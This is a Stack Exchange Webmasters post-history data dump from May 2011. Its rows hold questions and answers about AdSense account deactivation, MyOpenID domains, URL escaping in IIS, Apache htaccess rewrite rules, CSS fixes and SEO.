  <row Id="32152" PostHistoryTypeId="2" PostId="13829" RevisionGUID="9d9011b8-dfce-4e3f-b3dd-32afc28f57e1" CreationDate="2011-05-15T10:04:52.513" UserId="6109" Text="Tthe owner of a webiste says that they clicked a few times on their old Googleads account and probably caused it to be deactivated. I created a new one from scratch and asked him to avoid any clicking. The new account has been disabled and I'd link to find ways to reactivate it as well as prevent any future deactivation. Any suggestions are appreciated." />
  <row Id="32153" PostHistoryTypeId="1" PostId="13829" RevisionGUID="9d9011b8-dfce-4e3f-b3dd-32afc28f57e1" CreationDate="2011-05-15T10:04:52.513" UserId="6109" Text="Reactivating a Googleads account" />
  <row Id="32154" PostHistoryTypeId="3" PostId="13829" RevisionGUID="9d9011b8-dfce-4e3f-b3dd-32afc28f57e1" CreationDate="2011-05-15T10:04:52.513" UserId="6109" Text="&lt;google-adsense&gt;" />
  <row Id="32155" PostHistoryTypeId="5" PostId="13829" RevisionGUID="de9bd1e4-cb0e-4a2f-a839-99969417c65c" CreationDate="2011-05-15T10:10:42.743" UserId="6109" Comment="edited body" Text="Tthe owner of a webiste says that they clicked a few times on their old Googleads account and probably caused it to be deactivated. I created a new one from scratch and asked him to avoid any clicking. The new account has been disabled and I'd like to find ways to reactivate it as well as prevent any future deactivation. Any suggestions are appreciated." />
  <row Id="32156" PostHistoryTypeId="25" PostId="13829" RevisionGUID="607a8b25-13a2-46e7-b32e-b77582711819" CreationDate="2011-05-15T12:12:00.580" Comment="http://twitter.com/#!/StackWebmasters/status/69736787672698881" />
  <row Id="32157" PostHistoryTypeId="2" PostId="13830" RevisionGUID="1eeeda7b-ee1f-4283-a940-981815aff302" CreationDate="2011-05-15T12:19:41.460" UserDisplayName="thoughton" Text="I've recently setup an OpenID with MyOpenID, and am currently trying to setup a custom domain at my own URL using MyOpenID's [MyOpenID For Domains][1] feature.&#xD;&#xA;&#xD;&#xA;It was all going so well: I've added the additional DNS settings to my hosting, I've verified the domain on MyOpenID (using the file-verfication method), and so on.&#xD;&#xA;&#xD;&#xA;The issue I'm having is with adding accounts to my domain on MyOpenID. I can add the accounts but the problem is I never receive the verification e-mails, so the accounts never get activated. I've tried adding two separate accounts using two different e-mail addresses (which are both definitely correct), but I just never receive the e-mail.&#xD;&#xA;&#xD;&#xA;I've been clicking the &quot;Re-send e-mail&quot; button on the &quot;Manage Domains&quot; page every day for the past week now, but still no luck.&#xD;&#xA;&#xD;&#xA;Has anyone ever had this working?&#xD;&#xA;&#xD;&#xA;Is it possible that this is something else that was screwed over by the Amazon outage?&#xD;&#xA;&#xD;&#xA;And does anyone know how to get any official support from MyOpenID/JanRain/whoever about this?&#xD;&#xA;&#xD;&#xA;Many thanks,&#xD;&#xA;&#xD;&#xA;thoughton.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.myopenid.com/product_domains" />
  <row Id="32158" PostHistoryTypeId="1" PostId="13830" RevisionGUID="1eeeda7b-ee1f-4283-a940-981815aff302" CreationDate="2011-05-15T12:19:41.460" UserDisplayName="thoughton" Text="Trouble adding users to &quot;MyOpenID For Domains&quot;" />
  <row Id="32159" PostHistoryTypeId="3" PostId="13830" RevisionGUID="1eeeda7b-ee1f-4283-a940-981815aff302" CreationDate="2011-05-15T12:19:41.460" UserDisplayName="thoughton" Text="&lt;openid&gt;" />
  <row Id="32160" PostHistoryTypeId="17" PostId="13830" RevisionGUID="f7a2456e-432c-4797-8fae-57e25b390780" CreationDate="2011-05-15T12:42:40.857" UserId="-1" Comment="from http://stackoverflow.com/questions/6008329/trouble-adding-users-to-myopenid-for-domains" Text="" />
  <row Id="32161" PostHistoryTypeId="17" PostId="13832" RevisionGUID="d191940a-fc44-4453-9c2b-858e7959b693" CreationDate="2011-05-15T13:10:53.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5999157/download-file-from-iis7-server-with-in-file-name/5999188#5999188" Text="" />
  <row Id="32162" PostHistoryTypeId="17" PostId="13833" RevisionGUID="734ba5c9-301e-40dd-806e-7486c8ce8d51" CreationDate="2011-05-15T13:10:53.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5999157/download-file-from-iis7-server-with-in-file-name/5999190#5999190" Text="" />
  <row Id="32163" PostHistoryTypeId="17" PostId="13834" RevisionGUID="e4570ffe-2b7c-4205-9eb6-53619723e124" CreationDate="2011-05-15T13:10:53.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5999157/download-file-from-iis7-server-with-in-file-name/5999194#5999194" Text="" />
  <row Id="32164" PostHistoryTypeId="2" PostId="13832" RevisionGUID="6da86711-0d52-4f63-ad37-3551a90788ff" CreationDate="2011-05-14T01:10:21.543" UserDisplayName="vcsjones" Text="You need to escape it to `%23`.&#xD;&#xA;&#xD;&#xA;So it should be:&#xD;&#xA;&#xD;&#xA;http://www.server.com/files/my%23filename.doc" />
  <row Id="32165" PostHistoryTypeId="2" PostId="13833" RevisionGUID="8919b8bf-0dde-439b-962c-1643a5ad2ab9" CreationDate="2011-05-14T01:10:41.700" UserDisplayName="Kibbee" Text="You could try encoding the file name as follows.&#xD;&#xA;&#xD;&#xA;http://www.server.com/files/my%23filename.doc" />
  <row Id="32166" PostHistoryTypeId="2" PostId="13834" RevisionGUID="299474dd-45f4-438d-b7fe-ef25547623ee" CreationDate="2011-05-14T01:11:18.987" UserDisplayName="Cheeso" Text="Are you saying that the # is present in the filename itself? &#xD;&#xA;&#xD;&#xA;The # is a meaningful character in the URL scheme ([see RFC 3986][1]). It separates the *url path* from the  *fragment id*.  &#xD;&#xA;&#xD;&#xA;It could be that you will need to escape the octothorpe. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc3986#section-3.5" />
  <row Id="32167" PostHistoryTypeId="2" PostId="13831" RevisionGUID="c51bcad9-8c21-47bd-93ca-b4385ab3cb4f" CreationDate="2011-05-14T00:55:36.377" UserId="6936" Text="I'm running IIS 7 web server and getting an error 404 when trying to download a file with a `#` symbol anywhere in the file name.&#xD;&#xA;&#xD;&#xA;http://www.server.com/files/my#filename.doc &lt;-- does not download leads to 404 error.&#xD;&#xA;&#xD;&#xA;If I remove the `#` symbol it works fine.&#xD;&#xA;&#xD;&#xA;Can anyone suggest why this is happening and if there's a workaround?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32168" PostHistoryTypeId="1" PostId="13831" RevisionGUID="c51bcad9-8c21-47bd-93ca-b4385ab3cb4f" CreationDate="2011-05-14T00:55:36.377" UserId="6936" Text="DOwnload file from IIS7 server with # in file name" />
  <row Id="32169" PostHistoryTypeId="3" PostId="13831" RevisionGUID="c51bcad9-8c21-47bd-93ca-b4385ab3cb4f" CreationDate="2011-05-14T00:55:36.377" UserId="6936" Text="&lt;asp.net&gt;&lt;iis7&gt;" />
  <row Id="32170" PostHistoryTypeId="17" PostId="13831" RevisionGUID="b3e2c079-0661-458e-93e7-d452ecec8d06" CreationDate="2011-05-15T13:10:53.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5999157/download-file-from-iis7-server-with-in-file-name" Text="" />
  <row Id="32171" PostHistoryTypeId="25" PostId="13830" RevisionGUID="7c211d6d-297a-4b8e-b3be-ffcac733b184" CreationDate="2011-05-15T15:12:01.040" Comment="http://twitter.com/#!/StackWebmasters/status/69782088227885058" />
  <row Id="32172" PostHistoryTypeId="2" PostId="13835" RevisionGUID="a6479d9b-0f23-4e44-8a49-b6fd1f9c75c1" CreationDate="2011-05-15T16:20:27.787" UserId="6901" Text="Try contacting adsense and explaining the situation to them. You might be able to get them to reactivate your account." />
  <row Id="32173" PostHistoryTypeId="2" PostId="13836" RevisionGUID="e58b6b66-54a3-4721-8c7f-6f9440602eb9" CreationDate="2011-05-15T16:21:21.887" UserId="1009" Text="**Perhaps Google renamed &quot;External links&quot; to &quot;Links to your site&quot;:**&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;To get additional statistics you can link your Google Webmaster Tools account to your Analytics account to get that &quot;Data from Google Analytics&quot; link at the bottom.&#xD;&#xA;&#xD;&#xA;While not as thorough (only links that have actually been clicked are included) Google Analytics itself gives detailed referral link statistics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/NZgeY.png" />
  <row Id="32174" PostHistoryTypeId="5" PostId="13836" RevisionGUID="0b78befa-35ec-4914-86bb-91d439fc297e" CreationDate="2011-05-15T16:33:28.897" UserId="1009" Comment="added 521 characters in body; deleted 13 characters in body" Text="**Perhaps Google renamed &quot;External links&quot; to &quot;Links to your site&quot;. Here is the current documentation: [Links to your site][1].** Some interesting excerpts:&#xD;&#xA;&#xD;&#xA;&gt; You can perform a Google search using&#xD;&#xA;&gt; the `link:` operator to find a&#xD;&#xA;&gt; sampling of links to any site...&#xD;&#xA;&gt; &#xD;&#xA;&gt; To see a much larger sampling of links&#xD;&#xA;&gt; to any verified site in Webmaster&#xD;&#xA;&gt; Tools: &#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page, click the site you want.&#xD;&#xA;&gt; 2. Under Your site on the web, click Links to your site.&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;To get additional statistics you can link your Google Webmaster Tools account to your Analytics account to get that &quot;Data from Google Analytics&quot; link at the bottom.&#xD;&#xA;&#xD;&#xA;While not as thorough (only links that have actually been clicked are included) Google Analytics itself gives detailed referral link statistics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=55281&amp;hl=en&#xD;&#xA;  [2]: http://i.stack.imgur.com/NZgeY.png&#xD;&#xA;" />
  <row Id="32175" PostHistoryTypeId="2" PostId="13837" RevisionGUID="c3343c9f-f6b9-4e48-bd6e-a2c7460c6658" CreationDate="2011-05-15T16:33:31.033" UserId="7164" Text="Imagine i have a page on my website that i don't want to be followed by robots. So i put a &quot;rel='nofollow'&quot; on every link to that page. &#xD;&#xA;Now imagine i have a form on another page which action is a link to that page. I heard that SEs try to post form. If it is true, they will reach a page that i don't want to be indexed. &#xD;&#xA;&#xD;&#xA;Am i falling into paranoia ? Do SEs really try to post forms ?&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;Guillaume" />
  <row Id="32176" PostHistoryTypeId="1" PostId="13837" RevisionGUID="c3343c9f-f6b9-4e48-bd6e-a2c7460c6658" CreationDate="2011-05-15T16:33:31.033" UserId="7164" Text="no follow in a form action" />
  <row Id="32177" PostHistoryTypeId="3" PostId="13837" RevisionGUID="c3343c9f-f6b9-4e48-bd6e-a2c7460c6658" CreationDate="2011-05-15T16:33:31.033" UserId="7164" Text="&lt;search-engines&gt;&lt;nofollow&gt;" />
  <row Id="32178" PostHistoryTypeId="5" PostId="13836" RevisionGUID="208352d0-1dcf-4284-a04f-09d369eabc12" CreationDate="2011-05-15T16:40:18.373" UserId="1009" Comment="added 313 characters in body" Text="**Perhaps Google renamed &quot;External links&quot; to &quot;Links to your site&quot;. Here is the current documentation: [Links to your site][1].** Some interesting excerpts:&#xD;&#xA;&#xD;&#xA;&gt; You can perform a Google search using&#xD;&#xA;&gt; the `link:` operator to find a&#xD;&#xA;&gt; sampling of links to any site...&#xD;&#xA;&gt; &#xD;&#xA;&gt; To see a much larger sampling of links&#xD;&#xA;&gt; to any verified site in Webmaster&#xD;&#xA;&gt; Tools: &#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page, click the site you want.&#xD;&#xA;&gt; 2. Under Your site on the web, click Links to your site.&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;To get additional statistics you can link your Google Webmaster Tools account to your Analytics account to get that &quot;Data from Google Analytics&quot; link at the bottom.&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;While not as thorough&lt;/strike&gt;Google Analytics itself gives detailed referral link statistics (only links that have actually been clicked are included).&#xD;&#xA;&#xD;&#xA;**Update:** Looking at my own data, Google Analytics lists more referring sites/links (like Facebook.com and Stackoverflow.com) than Webmaster Tools. Webmaster Tools is probably based solely on Google's index, while Analytics can capture dynamic links and links that are buried behind login's.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=55281&amp;hl=en&#xD;&#xA;  [2]: http://i.stack.imgur.com/NZgeY.png&#xD;&#xA;" />
  <row Id="32179" PostHistoryTypeId="2" PostId="13838" RevisionGUID="d2229d32-b9ac-4d21-817e-71657903aeea" CreationDate="2011-05-15T17:04:20.833" UserId="5718" Text="Yes, they will try to post the form. Anyway, the approach you're using could potentially have problems if someone else links to the page. If you don't want a page to be crawled by a responsible bot (like Google/Bing etc) then you should use the robots.txt file to disallow them from crawling it. If you don't have access to robots.txt you can do a similar thing with the robots meta tag. Adding the following to the head of the page you don't want indexed should work:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt; " />
  <row Id="32181" PostHistoryTypeId="5" PostId="13829" RevisionGUID="3276eb27-07f8-4a23-9cb6-d5c6e5d8e4ad" CreationDate="2011-05-15T17:35:11.577" UserId="6109" Comment="edited body; deleted 1 characters in body" Text="The owner of a website says that they clicked a few times on their old Googleads account and probably caused it to be deactivated. I created a new one from scratch and asked him to avoid any clicking. The new account has been disabled and I'd like to find ways to reactivate it as well as prevent any future deactivation. Any suggestions are appreciated." />
  <row Id="32182" PostHistoryTypeId="25" PostId="13837" RevisionGUID="b3cd91e0-1fa9-4f61-9312-27ac069a1c81" CreationDate="2011-05-15T18:12:01.893" Comment="http://twitter.com/#!/StackWebmasters/status/69827389399646208" />
  <row Id="32183" PostHistoryTypeId="17" PostId="13841" RevisionGUID="6c6587e2-34a8-4fe8-a772-7c609c2434dd" CreationDate="2011-05-15T18:14:58.437" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/17205/css-issue-in-wordpress-site/17206#17206" Text="" />
  <row Id="32184" PostHistoryTypeId="2" PostId="13841" RevisionGUID="645d5323-65c2-45ac-9312-d13fb6204c37" CreationDate="2011-05-14T04:53:09.703" UserDisplayName="mrtsherman" Text="The div your image sits in is set to 200px wide. Try 150 instead. You may want to edit your loop and add in a class on that div so that you can modify it easily from the stylesheet. Right now it is hardcoded which is a bad way of doing it.&#xD;&#xA;&#xD;&#xA;The following would be a terrible way to do it, but will work if you have no idea what you are doing. Add the following to your style.css. It says all grandchild divs of div.entry should be 150px;&#xD;&#xA;&#xD;&#xA;    div.entry * div { width: 150px; }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32185" PostHistoryTypeId="2" PostId="13840" RevisionGUID="b778d745-0079-4e62-a689-a3816ff04e38" CreationDate="2011-05-14T04:40:07.287" UserDisplayName="Sunil" Text="I want to close the gap between the image and the excerpt text on the following page:&#xD;&#xA;&#xD;&#xA;http://delreia.com/mikes-blog-2/&#xD;&#xA;&#xD;&#xA;Kindly advise how to acheive this.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Sunil" />
  <row Id="32186" PostHistoryTypeId="1" PostId="13840" RevisionGUID="b778d745-0079-4e62-a689-a3816ff04e38" CreationDate="2011-05-14T04:40:07.287" UserDisplayName="Sunil" Text="CSS Issue in WordPress site" />
  <row Id="32187" PostHistoryTypeId="3" PostId="13840" RevisionGUID="b778d745-0079-4e62-a689-a3816ff04e38" CreationDate="2011-05-14T04:40:07.287" UserDisplayName="Sunil" Text="&lt;css&gt;" />
  <row Id="32188" PostHistoryTypeId="17" PostId="13840" RevisionGUID="5c8cf25b-00c2-4c94-bcb1-d97026356da8" CreationDate="2011-05-15T18:14:58.437" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/17205/css-issue-in-wordpress-site" Text="" />
  <row Id="32189" PostHistoryTypeId="5" PostId="10578" RevisionGUID="7052ab6b-ccbd-4ef6-ad2f-5b4218afebad" CreationDate="2011-05-15T19:06:51.283" UserId="3" Comment="deleted 64 characters in body" Text="Google shows up incorrect meta info (title &amp; description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain.&#xD;&#xA;&#xD;&#xA;Any ideas what could be the reason?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32190" PostHistoryTypeId="2" PostId="13842" RevisionGUID="cfb43830-479d-458b-a1de-efdc0b1a12d2" CreationDate="2011-05-15T19:08:01.037" UserId="7405" Text="If you want to get a true picture of what sites are linking to yours, you may want to consider some kind of server side web stats software that looks at the actual log files of your web server ([SmarterStats][1], [WebTrends][2], and [AWStats][3] are a few examples).  You need to make sure your log files are capturing the referrer.  &#xD;&#xA;&#xD;&#xA;Google Analytics is an outstanding package and can give you a really good picture of traffic on your site, but in some cases does require some additional configuration of the code on your site.  File downloads (.pdf, .doc, .xls, etc.) that do not have the Google Analytics tracking code on them will not have data captured (see [here][4] for more information on how to configure this).  In addition, if a user clicks away from your site before the Google Analytics script has loaded, you may miss capturing information from that traffic as well.&#xD;&#xA;&#xD;&#xA;By using server side web stats tracking, the web server logs themselves don't lie and will tell you exactly what was requested and who requested it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smartertools.com/smarterstats/web-analytics-seo-software.aspx&#xD;&#xA;  [2]: http://www.webtrends.com/&#xD;&#xA;  [3]: http://awstats.sourceforge.net/&#xD;&#xA;  [4]: http://www.google.com/support/analytics/bin/answer.py?answer=55529" />
  <row Id="32191" PostHistoryTypeId="17" PostId="13844" RevisionGUID="409d266f-cff6-4c37-bf2f-ef8aed7f1b16" CreationDate="2011-05-15T19:19:42.177" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/17120/crop-some-text-from-segment-text/17128#17128" Text="" />
  <row Id="32192" PostHistoryTypeId="2" PostId="13844" RevisionGUID="bbf5a2be-ce32-45c3-a4f0-b3b0d4a2abea" CreationDate="2011-05-13T05:28:17.110" UserDisplayName="Geert" Text="http://jsfiddle.net/8Wqr3/&#xD;&#xA;&#xD;&#xA;    var $span = $('#crop').find('&gt; span');&#xD;&#xA;    &#xD;&#xA;    $span.text(&#xD;&#xA;        $span.text().replace(/^[\s\S]*-\s+(\d+)\s+[\s\S]*$/m, '$1')&#xD;&#xA;    );" />
  <row Id="32193" PostHistoryTypeId="2" PostId="13843" RevisionGUID="66ecf0c9-1fab-4b96-b0d7-ae021cd41b8f" CreationDate="2011-05-13T03:05:16.297" UserDisplayName="user5333" Text="I have a div:&#xD;&#xA;&#xD;&#xA;`&lt;div id=&quot;crop&quot;&gt;&lt;span&gt; text - 123 views&lt;/span&gt;&lt;/div&gt;`&#xD;&#xA;&#xD;&#xA;I want crop from &quot;-&quot; to &quot;v&quot; ,thanks" />
  <row Id="32194" PostHistoryTypeId="1" PostId="13843" RevisionGUID="66ecf0c9-1fab-4b96-b0d7-ae021cd41b8f" CreationDate="2011-05-13T03:05:16.297" UserDisplayName="user5333" Text="crop some text from segment text" />
  <row Id="32195" PostHistoryTypeId="3" PostId="13843" RevisionGUID="66ecf0c9-1fab-4b96-b0d7-ae021cd41b8f" CreationDate="2011-05-13T03:05:16.297" UserDisplayName="user5333" Text="&lt;jquery&gt;&lt;javascript&gt;" />
  <row Id="32196" PostHistoryTypeId="17" PostId="13843" RevisionGUID="84157d75-5e80-4176-b60a-8488958f08e4" CreationDate="2011-05-15T19:19:42.177" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/17120/crop-some-text-from-segment-text" Text="" />
  <row Id="32200" PostHistoryTypeId="2" PostId="13846" RevisionGUID="863c7127-f048-4785-8cc7-f33b172515c9" CreationDate="2011-05-15T19:46:13.017" UserId="7405" Text="I think if I understand the question correctly, you currently have a website setup (www.website.com) that is currently an ASP.Net application.  When a user enters 'subdomain.website.com' you want the exact same website to respond, but within the code of the application some function/features/content/etc. would be changed based on that particular subdomain?&#xD;&#xA;&#xD;&#xA;It sounds like all you need is for a CNAME DNS record to be created and then the host header for that subdomain added to your website.  Your application would then handle the rest.  A subdomain is typically a separate website.  Many control panels will create a folder and then associate that folder as the document root of the site (essentially creating a separate IIS website for the subdomain that points to the subfolder).  In your case, it sounds like the document roots are being set something like this:&#xD;&#xA;&#xD;&#xA;IIS site 1 = www.website.com:  document root = (some-filesystem-path)\webroot&#xD;&#xA;IIS site 2 = subdomain.website.com:  document root = (some-filesystem-path)\webroot\subdomain&#xD;&#xA;&#xD;&#xA;What you really want to have happen is to only have a single IIS website with multiple host headers.  It may be that you just need to setup an alias rather than a subdomain in your control panel." />
  <row Id="32201" PostHistoryTypeId="2" PostId="13847" RevisionGUID="4dd6922e-ffb2-4387-ab75-5b90ab791dd0" CreationDate="2011-05-15T19:47:25.667" UserId="480" Text="Firstly IIS Rewrite (http://www.iis.net/download/urlrewrite) allows you to change how you present URLs. Secondly fix the 405's http://support.microsoft.com/kb/216493" />
  <row Id="32202" PostHistoryTypeId="2" PostId="13848" RevisionGUID="27a39271-f6d8-470f-9a8e-7e7bffe4210c" CreationDate="2011-05-15T19:52:53.510" UserId="7164" Text="Do SEs index text contained in a svg box. Like :&#xD;&#xA;&#xD;&#xA;    &lt;svg&gt;&lt;text&gt;Hello World&lt;/text&gt;&lt;/svg&gt; ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32203" PostHistoryTypeId="1" PostId="13848" RevisionGUID="27a39271-f6d8-470f-9a8e-7e7bffe4210c" CreationDate="2011-05-15T19:52:53.510" UserId="7164" Text="indexation of text in a svg." />
  <row Id="32204" PostHistoryTypeId="3" PostId="13848" RevisionGUID="27a39271-f6d8-470f-9a8e-7e7bffe4210c" CreationDate="2011-05-15T19:52:53.510" UserId="7164" Text="&lt;indexing&gt;" />
  <row Id="32205" PostHistoryTypeId="2" PostId="13849" RevisionGUID="6abc921b-2c6e-47e7-ba45-9bfadd777441" CreationDate="2011-05-15T18:44:55.773" UserDisplayName="parth" Text="I have configured virtual host in my local machine and every thing working fine .&#xD;&#xA;Now I want to use SEO friendly urls. To achive this I have used .htacess file .&#xD;&#xA;&#xD;&#xA;My virtual host configuration is :&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and my .htacess file has :&#xD;&#xA;&#xD;&#xA;    AllowOverride All&#xD;&#xA;    RewriteEngine On &lt;br&gt;&#xD;&#xA;    RewriteBase /ypp/ &lt;br&gt;&#xD;&#xA;    RewriteRule ^/browse$ /browse.php &lt;br&gt;&#xD;&#xA;    RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1 &lt;br&gt;&#xD;&#xA;    RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2 &lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above .htacess setting is not working .&#xD;&#xA;After that I have modigied my virtual host setting and it is working .&#xD;&#xA;new virtual host setting is :&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteRule ^/browse$ /browse.php&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2&#xD;&#xA;        ServerAdmin postmaster@dummy-host2.localhost&#xD;&#xA;            DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;        &lt;Directory &quot;C:/xampp/htdocs/ypp&quot;&gt;&#xD;&#xA;        	AllowOverride All&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please guide me where I am wrong in .htacess file for url rewriting . I donot want to use setting in virtual host because for every change I have restart apache .&#xD;&#xA;" />
  <row Id="32206" PostHistoryTypeId="1" PostId="13849" RevisionGUID="6abc921b-2c6e-47e7-ba45-9bfadd777441" CreationDate="2011-05-15T18:44:55.773" UserDisplayName="parth" Text="Apache: Virtual Host and .htacess for URL Rewriting not working" />
  <row Id="32207" PostHistoryTypeId="3" PostId="13849" RevisionGUID="6abc921b-2c6e-47e7-ba45-9bfadd777441" CreationDate="2011-05-15T18:44:55.773" UserDisplayName="parth" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="32208" PostHistoryTypeId="17" PostId="13849" RevisionGUID="f0a5a22f-fe41-4dbb-a95e-42d17efe9a06" CreationDate="2011-05-15T20:31:18.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6010437/apache-virtual-host-and-htacess-for-url-rewriting-not-working" Text="" />
  <row Id="32209" PostHistoryTypeId="2" PostId="13850" RevisionGUID="381f643e-929b-4043-b1a0-7c24f2ad737a" CreationDate="2011-05-15T20:36:55.247" UserId="6901" Text="I read somewhere that google's new +1 feature is going to affect google's search results. Apparently the more +1s you have, the better your site will rank in google. Is that true? And if it's true, how much will having a lot of &quot;+1s&quot; affect my site?" />
  <row Id="32210" PostHistoryTypeId="1" PostId="13850" RevisionGUID="381f643e-929b-4043-b1a0-7c24f2ad737a" CreationDate="2011-05-15T20:36:55.247" UserId="6901" Text="Will Google's New +1 Count For SEO" />
  <row Id="32211" PostHistoryTypeId="3" PostId="13850" RevisionGUID="381f643e-929b-4043-b1a0-7c24f2ad737a" CreationDate="2011-05-15T20:36:55.247" UserId="6901" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;&lt;social-media&gt;" />
  <row Id="32212" PostHistoryTypeId="2" PostId="13851" RevisionGUID="735b051b-a167-4be2-a5ae-a505c265f6d7" CreationDate="2011-05-15T20:47:22.553" UserId="6901" Text="Yes. Check out the +1 faq: http://www.google.com/support/webmasters/bin/answer.py?answer=1140194" />
  <row Id="32213" PostHistoryTypeId="17" PostId="13853" RevisionGUID="31ad7f76-fdc4-41b7-9855-361d0dba144b" CreationDate="2011-05-15T20:54:16.233" UserId="-1" Comment="from http://stackoverflow.com/questions/6010683/use-htaccess-to-rewrite-requests-for-a-png-as-a-php-get-variable/6010701#6010701" Text="" />
  <row Id="32214" PostHistoryTypeId="17" PostId="13854" RevisionGUID="ca5dfa12-745b-431e-8931-38495d2a80f3" CreationDate="2011-05-15T20:54:16.233" UserId="-1" Comment="from http://stackoverflow.com/questions/6010683/use-htaccess-to-rewrite-requests-for-a-png-as-a-php-get-variable/6010710#6010710" Text="" />
  <row Id="32215" PostHistoryTypeId="2" PostId="13853" RevisionGUID="4de6a40b-28af-4229-b608-3d6536f431eb" CreationDate="2011-05-15T19:32:25.087" UserDisplayName="Jason McCreary" Text="Please the following in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^script/(\w+)\.png$ script/image.php?name=$1 [L]&#xD;&#xA;&#xD;&#xA;This assumes name is at least 1 alphanumeric or underscore character. It will also only work for png extensions." />
  <row Id="32216" PostHistoryTypeId="2" PostId="13854" RevisionGUID="f0169999-ed58-4886-b5e2-dd9fefabf08e" CreationDate="2011-05-15T19:34:23.437" UserDisplayName="anubhava" Text="Use this code in .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks -MultiViews&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^(script)/([^.]*)\.png$ $1/image.php?name=$2 [L,NC]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32217" PostHistoryTypeId="2" PostId="13852" RevisionGUID="8db69bfa-8f16-48b5-b357-fc967abfa5f7" CreationDate="2011-05-15T19:29:11.477" UserDisplayName="esqew" Text="I'm REALLY bad with .htaccess files, and reading through the existing questions on SO only confuse me more (mainly because they're all situation-specific and don't *exactly* apply to my situation at hand). I'm making a script that generates dynamic images through PHP. The script takes 1 variable, which makes the URL look like this:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/script/image.php?name=esqew&#xD;&#xA;&#xD;&#xA;However, I'd like to utilize an .htaccess file to rewrite the file to something more elegant and something my users can use on forums, like so:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/script/esqew.png&#xD;&#xA;&#xD;&#xA;The question, in a nutshell, is how do I rewrite the first request above to something more elegant like the second example using .htaccess?" />
  <row Id="32218" PostHistoryTypeId="1" PostId="13852" RevisionGUID="8db69bfa-8f16-48b5-b357-fc967abfa5f7" CreationDate="2011-05-15T19:29:11.477" UserDisplayName="esqew" Text="Use .htaccess to rewrite requests for a PNG as a PHP GET variable" />
  <row Id="32219" PostHistoryTypeId="3" PostId="13852" RevisionGUID="8db69bfa-8f16-48b5-b357-fc967abfa5f7" CreationDate="2011-05-15T19:29:11.477" UserDisplayName="esqew" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
